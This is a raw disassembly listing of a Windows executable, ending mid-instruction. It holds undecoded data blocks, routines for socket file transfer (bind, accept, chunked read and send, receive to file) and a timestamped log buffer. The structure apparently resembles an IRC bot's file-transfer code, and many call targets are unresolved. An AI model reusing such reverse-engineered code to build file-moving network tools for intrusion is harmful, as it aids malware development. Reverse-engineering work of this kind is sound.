0CDE89053h, 6A022F02h, 0E8458D10h, 31E85053h dd 66000073h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 0C815FFECh dd 8B004453h, 0FFFF83F8h, 15FF5D75h, 4452DCh, 19586850h dd 4CE80044h, 68000008h, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 72D2E85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 9815FF36h, 0FF004453h, 0E015FF36h dd 0FF004453h, 0ACE80875h, 59FFFF93h, 35E89053h, 8D022F02h dd 106AE845h, 15FF5750h, 4452F0h, 75FFF883h, 0DC15FF5Dh dd 50004452h, 44199868h, 7DDE800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh dd 7263E8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 539815FFh, 36FF0044h, 53E015FFh, 75FF0044h, 933DE808h dd 5359FFFFh, 1C6E890h, 68022Fh, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 7217E8h dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 539815FFh dd 36FF0044h, 39E857h, 59590000h, 0E015FF57h, 0FF004453h dd 0E015FF36h, 0FF004453h, 0E0E80875h, 59FFFF92h, 69E89053h dd 0FF022F01h, 0E015FF36h, 0FF004453h, 0C8E80875h, 59FFFF92h dd 51E89053h db 1, 2Fh, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_40FEC5: ; CODE XREF: ___:0040FF74j ; ___:0040FFA4j mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_40FEDD: ; CODE XREF: ___:0040FEEBj mov edx, [ebp+8] cmp [eax], edx jz short loc_40FEED inc ecx add eax, 4 cmp ecx, 1 jb short loc_40FEDD loc_40FEED: ; CODE XREF: ___:0040FEE2j cmp ecx, 1 jnz short loc_40FF02 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_40FF02: ; CODE XREF: ___:0040FEF0j push esi lea eax, [ebp-504h] push edi push eax call sub_417070 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_445330 lea eax, [ebp-104h] push eax push ebx call dword_445234 test eax, eax jz short loc_40FF62 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_445360 cmp eax, 0FFFFFFFFh jz short loc_40FFAA push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_445398 cmp eax, 0FFFFFFFFh jz short loc_40FFAA loc_40FF62: ; CODE XREF: ___:0040FF34j lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_445234 test eax, eax jz loc_40FEC5 push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_445360 cmp eax, 0FFFFFFFFh jz short loc_40FFAA push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_445398 cmp eax, 0FFFFFFFFh jnz loc_40FEC5 loc_40FFAA: ; CODE XREF: ___:0040FF49j ; ___:0040FF60j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_40FFAF db 55h ; DATA XREF: sub_403038+357Eo ; sub_4097CE+107o dword_40FFB0 dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 53C815FFh, 0F08B0044h dd 75FFFE83h, 1906871h, 0E8900000h, 2280595h, 52DC15FFh dd 8D500044h, 0FFF88885h, 19E468FFh, 0E8500044h, 71B4h dd 390CC483h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 0FEE8FFFFh dd 83FFFF13h, 858D14C4h, 0FFFFF888h, 501E850h, 0B5FF0000h dd 0FFFFFE98h, 0FF910EE8h, 535959FFh, 0FF96E890h, 458D022Eh dd 50046AF0h, 0FFFFBFh, 57046A00h, 2815FF56h, 8D004453h dd 46AEC45h, 57FB6A50h, 2815FF56h, 8B004453h, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 44621Ch, 50D4458Dh, 6FC3E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 534815FFh dd 89660044h, 458DD645h, 50106AD4h, 0D85D8956h, 537415FFh dd 0F8830044h, 681975FFh, 1388h, 4B3E890h, 8DFF0228h, 0FFFFFE9Ch dd 0E90875FFh, 35Fh, 0FC90858Dh, 1468FFFFh, 5000441Ah dd 6F4BE8h, 0C33B5900h, 0FC458959h, 90686475h, 0E8000001h dd 2280481h, 90858D90h, 50FFFFFCh, 0F888858Dh, 1868FFFFh dd 5000441Ah, 709FE8h, 858D5300h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF12F4E8h dd 88858DFFh, 50FFFFF8h, 3FAE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9007h, 5328C483h, 0FE8EE890h, 7D8B022Eh, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 6EBEE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 44533015h, 0FC08500h, 2398Eh dd 63C8A000h, 0CF8B004Dh, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 532015FFh, 75FF0044h dd 0F84589C8h, 53D415FFh, 8D500044h, 0E850B045h, 6FACh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 95E850FFh, 53000049h dd 0FC75FF53h, 9D1BE8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 6ABBE8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4453AC15h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 441A3Ch, 6F16E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF1160E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 263h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 9C0Ch, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 69CAE850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4453ACh, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 6068FFFFh, 5000441Ah, 6E1FE8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF1069h, 8D14C483h dd 0FFF88885h, 6CE850FFh, 0FF000001h, 4D5ADC05h, 16EB5900h dd 8DF475FFh, 5350C445h, 7868096Ah, 5600441Ah, 53AC15FFh dd 5D390044h, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4453E015h dd 0FC75FF00h, 483BE8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 30E8FFFFh, 59FFFF8Dh, 0FBBAE853h, 6890022Eh dd 3E8h, 147E890h, 0E8570228h, 0FFFFFB57h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41045F proc near ; CODE XREF: sub_403038+54C8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_445490 mov edi, 0B8h loc_410473: ; CODE XREF: sub_41045F+33j cmp byte ptr [esi], 0 jz short loc_410496 push [ebp+arg_0] push esi call sub_417870 pop ecx test eax, eax pop ecx jz short loc_410496 inc [ebp+var_4] add esi, edi cmp esi, offset dword_446010 jl short loc_410473 jmp short loc_4104D8 ; --------------------------------------------------------------------------- loc_410496: ; CODE XREF: sub_41045F+17j ; sub_41045F+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_445490[esi] push ebx call sub_417070 push 17h push [ebp+arg_0] push ebx call sub_417770 push 9Fh lea eax, dword_4454A8[esi] push [ebp+arg_4] push eax call sub_417770 add esp, 24h inc dword_437028 pop ebx loc_4104D8: ; CODE XREF: sub_41045F+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_41045F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104DF proc near ; CODE XREF: sub_403038+3D10p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_441A84 push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 14h xor edi, edi mov esi, offset dword_445490 loc_410509: ; CODE XREF: sub_4104DF+72j cmp byte ptr [esi], 0 jz short loc_410544 lea eax, [esi+18h] push eax push esi push edi push offset dword_441A98 lea eax, [ebp+var_200] push 200h push eax call sub_4172D0 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 2Ch loc_410544: ; CODE XREF: sub_4104DF+2Dj add esi, 0B8h inc edi cmp esi, offset dword_446010 jl short loc_410509 pop edi pop esi leave retn sub_4104DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410557 proc near ; CODE XREF: sub_40219C+320p ; sub_402599+B0p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call near ptr 27B0186h nop mov ebx, offset dword_4DA3CC mov edi, 80h mov esi, offset dword_4D63CC loc_410579: ; CODE XREF: sub_410557+3Dj cmp byte ptr [ebx], 0 jz short loc_410590 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_417770 add esp, 0Ch loc_410590: ; CODE XREF: sub_410557+25j sub ebx, edi cmp ebx, esi jge short loc_410579 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_4172D0 add esp, 28h pop edi pop esi pop ebx leave retn sub_410557 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105CB proc near ; CODE XREF: sub_402D58+F7p ; sub_403038:loc_408249p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4170D0 lea eax, [ebp+var_80] push eax call sub_410557 add esp, 14h leave retn sub_4105CB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+14h], ebx push esi mov dword ptr [ebp-8], 80h mov [ebp-4], ebx jnz short loc_410626 push ebx push dword ptr [ebp+10h] push offset dword_441AD0 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_401445 add esp, 14h loc_410626: ; CODE XREF: ___:0041060Dj cmp [ebp+18h], ebx jz short loc_41063E push dword ptr [ebp+18h] call sub_4174D0 cmp eax, ebx pop ecx mov [ebp-4], eax jz short loc_41063E mov [ebp-8], eax loc_41063E: ; CODE XREF: ___:00410629j ; ___:00410639j mov [ebp+14h], ebx mov esi, offset dword_4D63CC loc_410646: ; CODE XREF: ___:0041068Ej mov eax, [ebp+14h] cmp eax, [ebp-8] jge short loc_410690 cmp [esi], bl jz short loc_41067F cmp [ebp+18h], ebx jz short loc_41066B cmp [ebp-4], ebx jnz short loc_41066B push dword ptr [ebp+18h] push esi call sub_411C4F pop ecx test eax, eax pop ecx jz short loc_41067F loc_41066B: ; CODE XREF: ___:00410655j ; ___:0041065Aj push 1 push dword ptr [ebp+10h] push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_401445 add esp, 14h loc_41067F: ; CODE XREF: ___:00410650j ; ___:00410669j inc dword ptr [ebp+14h] add esi, 80h cmp esi, offset dword_4DA3CC jl short loc_410646 loc_410690: ; CODE XREF: ___:0041064Cj pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_410694 proc near ; CODE XREF: sub_403038+3C07p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4D63CC xor ecx, ecx loc_41069B: ; CODE XREF: sub_410694+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4DA3CC jl short loc_41069B cmp [esp+arg_C], ecx jnz short loc_4106C9 push ecx push [esp+4+arg_8] push offset dword_441ADC push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_401445 add esp, 14h loc_4106C9: ; CODE XREF: sub_410694+19j push offset dword_441AF0 call sub_410557 pop ecx retn sub_410694 endp ; --------------------------------------------------------------------------- push esi mov esi, offset dword_4D63CC loc_4106DB: ; CODE XREF: ___:004106FCj cmp byte ptr [esi], 0 jz short loc_4106F0 push dword ptr [esp+8] push esi call sub_411C4F pop ecx test eax, eax pop ecx jnz short loc_410702 loc_4106F0: ; CODE XREF: ___:004106DEj add esi, 80h cmp esi, offset dword_4DA3CC jl short loc_4106DB xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_410702: ; CODE XREF: ___:004106EEj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- byte_410707 db 55h ; DATA XREF: sub_403038+3CBAo ; --------------------------------------------------------------------------- mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_41075A push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_441B04 push eax push dword ptr [ebp-11Ch] call sub_401445 add esp, 14h loc_41075A: ; CODE XREF: ___:0041073Aj cmp byte ptr [ebp-98h], 0 jz short loc_41077A lea eax, [ebp-98h] push eax call sub_4174D0 test eax, eax pop ecx mov [ebp-4], eax jz short loc_41077A mov [ebp-8], eax loc_41077A: ; CODE XREF: ___:00410761j ; ___:00410775j and dword ptr [ebp+8], 0 mov esi, offset dword_4D63CC loc_410783: ; CODE XREF: ___:004107DBj mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_4107DD cmp byte ptr [esi], 0 jz short loc_4107CC cmp byte ptr [ebp-98h], 0 jz short loc_4107B2 cmp dword ptr [ebp-4], 0 jnz short loc_4107B2 lea eax, [ebp-98h] push eax push esi call sub_411C4F pop ecx test eax, eax pop ecx jz short loc_4107CC loc_4107B2: ; CODE XREF: ___:00410797j ; ___:0041079Dj push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_401445 add esp, 14h loc_4107CC: ; CODE XREF: ___:0041078Ej ; ___:004107B0j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4DA3CC jl short loc_410783 loc_4107DD: ; CODE XREF: ___:00410789j lea eax, [ebp-31Ch] push offset dword_441B20 push eax call sub_4171D0 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_410817 push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_401445 add esp, 14h loc_410817: ; CODE XREF: ___:004107F5j lea eax, [ebp-31Ch] push eax call sub_410557 push dword ptr [ebp-18h] call sub_40916F pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h db 0CCh ; --------------------------------------------------------------------------- imul dword ptr [esi] add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410836 proc near ; CODE XREF: ___:00410EDEp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4453C8 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_4108B2 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417070 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_445348 push [ebp+arg_0] mov [ebp+var_E], ax call dword_445388 cmp eax, esi jnz short loc_410897 push [ebp+arg_0] call dword_4453CC test eax, eax jz short loc_4108B2 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_410897: ; CODE XREF: sub_410836+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4452F0 cmp eax, esi jnz short loc_4108B6 push edi call dword_4453E0 loc_4108B2: ; CODE XREF: sub_410836+1Bj ; sub_410836+58j mov eax, esi jmp short loc_4108B8 ; --------------------------------------------------------------------------- loc_4108B6: ; CODE XREF: sub_410836+73j mov eax, edi loc_4108B8: ; CODE XREF: sub_410836+7Ej pop edi pop esi leave retn sub_410836 endp ; --------------------------------------------------------------------------- dword_4108BC dd 0B8EC8B55h, 11B4h, 7557E8h, 8458B00h, 6A575653h, 59F08B6Dh ; DATA XREF: sub_403038+9EDo dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh dd 4C858D52h, 68FFFFEEh, 441B3Ch, 68C2E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 16E85350h, 83FFFF0Bh, 858D14C4h, 0FFFFEE4Ch dd 0FC19E850h, 75FFFFFFh, 8829E8F0h, 5959FFFFh, 0F6B2E856h dd 6890022Eh, 4DA3D4h, 3088E853h, 83590000h, 7559FFF8h dd 4C858D59h, 68FFFFEEh, 441B60h, 685EE850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 0B2E85350h, 83FFFF0Ah, 858D14C4h, 0FFFFEE4Ch dd 0FBB5E850h, 5359FFFFh, 53E015FFh, 75FF0044h, 87BDE8F0h dd 5659FFFFh, 0F646E890h, 646A022Eh, 0FBD7E890h, 0FF330227h dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 99E85057h, 83000066h dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 536015FFh, 0C0850044h dd 858D387Eh, 0FFFFEE4Ch, 441B9068h, 0D1E85000h, 8D00007Ah dd 0FFEE4C85h, 0C3E850FFh, 8300002Dh, 0C0850CC4h, 646A1474h dd 0FB7FE890h, 0A6A0227h, 0FF867AE8h, 59C085FFh, 858DA375h dd 0FFFFEE4Ch, 441B9468h, 99E85000h, 39000067h, 5959F87Dh dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh dd 9EFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFAF2E8h dd 0FF5359FFh, 4453E015h, 0F075FF00h, 0FF86FAE8h, 905759FFh dd 2EF583E8h db 2 ; --------------------------------------------------------------------------- loc_410A7D: ; DATA XREF: sub_403038+2CB5o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4453C8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_410ACB push offset unk_441BC8 jmp loc_410C84 ; --------------------------------------------------------------------------- loc_410ACB: ; CODE XREF: ___:00410ABFj push 10h lea eax, [ebp-30h] push esi push eax call sub_417070 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_445348 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_445374 test eax, eax jz short loc_410B09 push offset unk_441BEC jmp loc_410C84 ; --------------------------------------------------------------------------- loc_410B09: ; CODE XREF: ___:00410AFDj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4452EC push dword ptr [ebp-2Eh] call dword_445278 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_414BE0 pop ecx loc_410B3B: ; CODE XREF: ___:00410B6Cj mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_410B4E push 5Fh pop eax jmp short loc_410B51 ; --------------------------------------------------------------------------- loc_410B4E: ; CODE XREF: ___:00410B47j movsx eax, al loc_410B51: ; CODE XREF: ___:00410B4Cj mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_414BE0 cmp [ebp+8], eax pop ecx jbe short loc_410B3B push ebx push edi call dword_445370 test eax, eax jz short loc_410B84 push offset unk_441C10 jmp loc_410C84 ; --------------------------------------------------------------------------- loc_410B84: ; CODE XREF: ___:00410B78j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 2760000h cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410BAE push offset unk_441C34 jmp loc_410C84 ; --------------------------------------------------------------------------- loc_410BAE: ; CODE XREF: ___:00410BA2j push esi push eax nop call near ptr 2750B9Bh mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40267D pop ecx push eax call dword_445388 push eax call dword_445344 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_441C54 push eax call sub_4171D0 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_401445 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_445330 test eax, eax jg short loc_410C5E push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_441C6C push eax push dword ptr [ebp-1FCh] call sub_401445 jmp loc_410D82 ; --------------------------------------------------------------------------- loc_410C5E: ; CODE XREF: ___:00410C3Cj lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4453DC cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_410C97 push offset unk_441C84 loc_410C84: ; CODE XREF: ___:00410AC6j ; ___:00410B04j ... lea eax, [ebp-3FCh] push eax call sub_4171D0 pop ecx pop ecx jmp loc_410D85 ; --------------------------------------------------------------------------- loc_410C97: ; CODE XREF: ___:00410C7Dj push edi call dword_4453E0 cmp [ebp+8], esi jz loc_410D49 mov edi, 400h loc_410CAC: ; CODE XREF: ___:00410D40j mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_410CB9 mov [ebp-4], eax loc_410CB9: ; CODE XREF: ___:00410CB4j push edi lea eax, [ebp-0A04h] push esi push eax call sub_417070 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 27A0000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2730000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_445398 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_445360 cmp eax, ebx jl loc_410DDE mov eax, [ebp-4] cmp eax, ebx jl loc_410DDE sub [ebp+8], eax jnz loc_410CAC mov edi, [ebp-18h] loc_410D49: ; CODE XREF: ___:00410CA1j push dword ptr [ebp-8] nop call near ptr 267009Bh push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_411586 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4453D4 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_441CD8 push eax call sub_4171D0 loc_410D82: ; CODE XREF: ___:00410C59j add esp, 14h loc_410D85: ; CODE XREF: ___:00410C92j cmp [ebp-50h], esi jnz short loc_410DAA push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_401445 add esp, 14h loc_410DAA: ; CODE XREF: ___:00410D88j lea eax, [ebp-3FCh] push eax call sub_410557 cmp edi, esi pop ecx jbe short loc_410DC2 push edi call dword_4453E0 loc_410DC2: ; CODE XREF: ___:00410DB9j push dword ptr [ebp-1F8h] call dword_4453E0 push dword ptr [ebp-58h] call sub_40916F pop ecx push esi nop call near ptr 2700000h loc_410DDE: ; CODE XREF: ___:00410D2Cj ; ___:00410D37j push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_441CA8 push eax push dword ptr [ebp-1FCh] call sub_401445 push offset dword_441CC0 call sub_410557 add esp, 18h push dword ptr [ebp-1F8h] call dword_4453E0 push dword ptr [ebp-58h] call sub_40916F pop ecx push ebx nop call near ptr 2700000h loc_410E22: ; DATA XREF: sub_403038+780o push ebp mov ebp, esp mov eax, 14C4h call sub_417E20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2690000h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset aSS_9 ; "%s%s" push eax call sub_4171D0 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 2760000h cmp eax, 0FFFFFFFFh jnz short loc_410EAC push offset unk_441D0C jmp short loc_410EF2 ; --------------------------------------------------------------------------- loc_410EAC: ; CODE XREF: ___:00410EA3j push eax call near ptr 267009Bh nop lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_417050 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_410ED4 push offset unk_441D40 jmp short loc_410EF2 ; --------------------------------------------------------------------------- loc_410ED4: ; CODE XREF: ___:00410ECBj push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_410836 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_410F05 push offset unk_441D6C loc_410EF2: ; CODE XREF: ___:00410EAAj ; ___:00410ED2j lea eax, [ebp-4C4h] push eax call sub_4171D0 pop ecx pop ecx jmp loc_410FFF ; --------------------------------------------------------------------------- loc_410F05: ; CODE XREF: ___:00410EEBj mov esi, 1000h loc_410F0A: ; CODE XREF: ___:00410F70j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_417070 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_445360 mov edi, eax cmp edi, ebx jz loc_410FD1 cmp edi, 0FFFFFFFFh jz short loc_410F72 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41A110 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_445344 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_445398 jmp short loc_410F0A ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: 